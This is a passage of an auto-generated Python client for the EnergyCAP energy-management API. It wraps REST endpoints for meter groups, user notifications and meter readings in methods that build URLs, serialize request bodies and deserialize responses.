get_meter_group_members.metadata = {'url': '/api/v3/meterGroup/{groupId}/member'}
def update_meter_group_member(
self, meter_group_id, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a group member's include in charts flag.
:param meter_group_id:
:type meter_group_id: int
:param meter_id:
:type meter_id: int
:param body:
:type body: ~energycap.sdk.models.GroupMemberRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterGroupMemberChild or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterGroupMemberChild or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_meter_group_member.metadata['url']
path_format_arguments = {
'meterGroupId': self._serialize.url("meter_group_id", meter_group_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'GroupMemberRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterGroupMemberChild', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_meter_group_member.metadata = {'url': '/api/v3/meterGroup/{meterGroupId}/member/{meterId}'}
def include_all_meter_group_member_in_charts(
self, meter_group_id, custom_headers=None, raw=False, **operation_config):
"""Include all group members in charts.
:param meter_group_id:
:type meter_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.include_all_meter_group_member_in_charts.metadata['url']
path_format_arguments = {
'meterGroupId': self._serialize.url("meter_group_id", meter_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
include_all_meter_group_member_in_charts.metadata = {'url': '/api/v3/meterGroup/{meterGroupId}/member/includeInCharts'}
def get_user_defined_auto_meter_group_filters(
self, custom_headers=None, raw=False, **operation_config):
"""Gets a list of filters that can be used to create Meter Groups.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_defined_auto_meter_group_filters.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user_defined_auto_meter_group_filters.metadata = {'url': '/api/v3/meterGroup/filters'}
def recalculate_user_meter_auto_group_memebership(
self, meter_group_id, custom_headers=None, raw=False, **operation_config):
"""Refreshes group membership for a user defined auto group.
:param meter_group_id: The meter group to refresh
:type meter_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupMeterGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupMeterGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.recalculate_user_meter_auto_group_memebership.metadata['url']
path_format_arguments = {
'meterGroupId': self._serialize.url("meter_group_id", meter_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupMeterGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
recalculate_user_meter_auto_group_memebership.metadata = {'url': '/api/v3/meterGroup/{meterGroupId}/updateUserAutoGroup'}
def recalculate_all_user_meter_auto_groups_membership(
self, custom_headers=None, raw=False, **operation_config):
"""Refreshes group membership for all user defined auto groups.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.recalculate_all_user_meter_auto_groups_membership.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
recalculate_all_user_meter_auto_groups_membership.metadata = {'url': '/api/v3/meterGroup/updateUserAutoGroups'}
def get_meter_group_ranking(
self, group_id, data_view, chart, billing_period_option=None, start_period=None, end_period=None, commodity_id=None, high_to_low_ranking=None, show_excluded_members=None, show_zero_averages=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves cost, use, unit cost or demand per day ranking data by meter
group.
Specify values for any query parameters whose database values are to be
overridden.
**PLEASE NOTE: As shown in the table below, this API endpoint returns
different response types based on the "chart" value. Despite what you
see below regarding HTTP status codes for each response type, _all_ of
these response types will return 200 OK.**
| Chart | Response Type |
| -------- | ---------------------------------------- |
| cost | MeterGroupDigestRankingResponseDTO |
| use | MeterGroupDigestRankingResponseDTO |
| unitCost | MeterGroupDigestRankingResponseDTO |
| demand | MeterGroupDigestDemandRankingResponseDTO |.
:param group_id: The meter group to retrieve data for
:type group_id: int
:param data_view: The desired data view - actual, calendarized,
normalized. Possible values include: 'actual', 'calendarized',
'normalized'
:type data_view: str
:param chart: The desired chart - cost, use, unitcost, demand.
Possible values include: 'cost', 'use', 'demand', 'unitCost'
:type chart: str
:param billing_period_option: The billing period option -
last12periods, lastyear, lastfiscalyear, custom (optional). Possible
values include: 'last12Periods', 'lastYear', 'lastFiscalYear',
'custom'
:type billing_period_option: str
:param start_period: The custom start period (optional)
:type start_period: int
:param end_period: The custom end period (optional)
:type end_period: int
:param commodity_id: Id of commodity to filter by (optional)
:type commodity_id: int
:param high_to_low_ranking: Ranking from high to low, or low to high?
(optional)
:type high_to_low_ranking: bool
:param show_excluded_members: Show group members excluded from the
group? (optional)
:type show_excluded_members: bool
:param show_zero_averages: Show group members whose ranking averages
are zero? (optional)
:type show_zero_averages: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: object or ClientRawResponse if raw=true
:rtype: object or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_group_ranking.metadata['url']
path_format_arguments = {
'groupId': self._serialize.url("group_id", group_id, 'int'),
'dataView': self._serialize.url("data_view", data_view, 'str'),
'chart': self._serialize.url("chart", chart, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if billing_period_option is not None:
query_parameters['billingPeriodOption'] = self._serialize.query("billing_period_option", billing_period_option, 'str')
if start_period is not None:
query_parameters['startPeriod'] = self._serialize.query("start_period", start_period, 'int')
if end_period is not None:
query_parameters['endPeriod'] = self._serialize.query("end_period", end_period, 'int')
if commodity_id is not None:
query_parameters['commodityId'] = self._serialize.query("commodity_id", commodity_id, 'int')
if high_to_low_ranking is not None:
query_parameters['highToLowRanking'] = self._serialize.query("high_to_low_ranking", high_to_low_ranking, 'bool')
if show_excluded_members is not None:
query_parameters['showExcludedMembers'] = self._serialize.query("show_excluded_members", show_excluded_members, 'bool')
if show_zero_averages is not None:
query_parameters['showZeroAverages'] = self._serialize.query("show_zero_averages", show_zero_averages, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 201, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterGroupDigestRankingResponse', response)
if response.status_code == 201:
deserialized = self._deserialize('MeterGroupDigestDemandRankingResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_group_ranking.metadata = {'url': '/api/v3/meterGroup/{groupId}/digest/{dataView}/{chart}'}
def get_notifications(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get all notifications for the current user.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.NotificationResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notifications.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[NotificationResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_notifications.metadata = {'url': '/api/v202108/notification'}
def update_list_of_notifications(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a list of notifications based on the notification ids and action
passed in
Only notifications for the current user can be updated.
:param body: List of notification ids and action to perform
:type body: ~energycap.sdk.models.NotificationUpdateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_list_of_notifications.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'NotificationUpdateRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_list_of_notifications.metadata = {'url': '/api/v202108/notification'}
def get_notification(
self, notification_id, custom_headers=None, raw=False, **operation_config):
"""Get a specific notification for the current user.
:param notification_id: Id of the notification to get
:type notification_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notification.metadata['url']
path_format_arguments = {
'notificationId': self._serialize.url("notification_id", notification_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_notification.metadata = {'url': '/api/v202108/notification/{notificationId}'}
def get_notification_details(
self, notification_id, custom_headers=None, raw=False, **operation_config):
"""Get a specific notification's details for the current user.
:param notification_id: Id of the notification to get
:type notification_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notification_details.metadata['url']
path_format_arguments = {
'notificationId': self._serialize.url("notification_id", notification_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_notification_details.metadata = {'url': '/api/v202108/notification/{notificationId}/detail'}
def get_notification_badge_totals(
self, last_check_date_time_utc=None, no_limit=None, custom_headers=None, raw=False, **operation_config):
"""Get total number of notifications that are unread and unarchived for
the current user.
Use lastCheckDateTimeUtc to get the number of new notifications since
the passed in date and time.
By default, only the latest 250 notifications will be taken into
account. Use the 'noLimit' query parameter to override this behavior.
:param last_check_date_time_utc: Used when calculating the number of
new notifications. Must be a UTC DateTime in the format
yyyy-MM-ddTHH:mm:ssZ. If not passed the TotalNotifications and
NewNotifications will be equal.
:type last_check_date_time_utc: datetime
:param no_limit: If true, will return the badge totals for all of the
user's notifications, not just the 250 most recent ones
:type no_limit: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationBadgeResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationBadgeResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notification_badge_totals.metadata['url']
# Construct parameters
query_parameters = {}
if last_check_date_time_utc is not None:
query_parameters['lastCheckDateTimeUtc'] = self._serialize.query("last_check_date_time_utc", last_check_date_time_utc, 'iso-8601')
if no_limit is not None:
query_parameters['noLimit'] = self._serialize.query("no_limit", no_limit, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationBadgeResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_notification_badge_totals.metadata = {'url': '/api/v202108/notification/badge'}
def get_notification_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get a list of notification types.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.NotificationType] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notification_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[NotificationType]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_notification_types.metadata = {'url': '/api/v202108/notification/type'}
def get_notification_system_settings(
self, custom_headers=None, raw=False, **operation_config):
"""The default notification settings assigned to new users.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notification_system_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_notification_system_settings.metadata = {'url': '/api/v202108/notification/systemsetting'}
def update_notification_system_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the default notification settings assigned to new users.
:param body: Values to update the system notification settings. If a
setting is not passed it's value is not updated.
:type body: ~energycap.sdk.models.NotificationSystemSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_notification_system_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'NotificationSystemSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_notification_system_settings.metadata = {'url': '/api/v202108/notification/systemsetting'}
def get_notification_user_settings(
self, custom_headers=None, raw=False, **operation_config):
"""The notification settings for the current user.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_notification_user_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_notification_user_settings.metadata = {'url': '/api/v202108/notification/usersetting'}
def update_notification_user_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the notification settings for the current user.
:param body: Values to update the system notification settings. If a
setting is not passed it's value is not updated.
:type body: list[~energycap.sdk.models.NotificationSettingRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: NotificationSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.NotificationSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_notification_user_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[NotificationSettingRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('NotificationSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_notification_user_settings.metadata = {'url': '/api/v202108/notification/usersetting'}
def create_readings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates new readings.
:param body: Data representing the readings being imported
:type body: list[~energycap.sdk.models.ReadingCreate]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReadingResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReadingResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_readings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[ReadingCreate]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReadingResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_readings.metadata = {'url': '/api/v3/reading'}
def delete_readings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Deletes one or more sets of meter readings.
Each set of meter readings to be deleted is on one channel and covers a
time range signified by a begin and end date and time.
The time range includes all readings greater than the begin time and
less than or equal to the end date and time.
To delete only one reading, set the begin and end date and time to the
same value.
:param body: The channel id, begin date and time and end date and time
of the set of meter readings to be deleted
:type body: list[~energycap.sdk.models.ReadingDelete]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DeleteReadingResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DeleteReadingResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_readings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[ReadingDelete]')
else:
body_content = None
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DeleteReadingResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
delete_readings.metadata = {'url': '/api/v3/reading'}
def get_readings(
self, channel_id, begin_date=None, end_date=None, original_value=False, custom_headers=None, raw=False, **operation_config):
"""Retrieves an array of readings.
:param channel_id: Specific Channel ID
:type channel_id: int
:param begin_date: The starting date of readings to return
:type begin_date: datetime
:param end_date: The end date of readings to return
:type end_date: datetime
:param original_value: If 'true', returns the original observation
value. If 'false' returns the computed observation value based on the
channel type. NOTE: this parameter is no longer used and has been
deprecated.
:type original_value: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Readings or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.Readings or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_readings.metadata['url']
path_format_arguments = {
'channelId': self._serialize.url("channel_id", channel_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if begin_date is not None:
query_parameters['beginDate'] = self._serialize.query("begin_date", begin_date, 'iso-8601')
if end_date is not None:
query_parameters['endDate'] = self._serialize.query("end_date", end_date, 'iso-8601')
if original_value is not None:
query_parameters['originalValue'] = self._serialize.query("original_value", original_value, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Readings', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_readings.metadata = {'url': '/api/v3/channel/{channelId}/reading'}
def delete_single_reading(
self, reading_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a single interval data reading by its ID.
:param reading_id: Unique ID of the reading to delete
:type reading_id: long
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_single_reading.metadata['url']
path_format_arguments = {
'readingId': self._serialize.url("reading_id", reading_id, 'long')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_single_reading.metadata = {'url': '/api/v3/reading/{readingId}'}
def edit_single_reading(
self, reading_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a single interval data reading.
Duplicate timestamps are not allowed for readings on a given channel.
If the reading being edited has the same timestamp as another reading
on the same channel, this end point throws an error.
:param reading_id: Unique ID of the reading to edit
:type reading_id: long
:param body: Updated reading properties
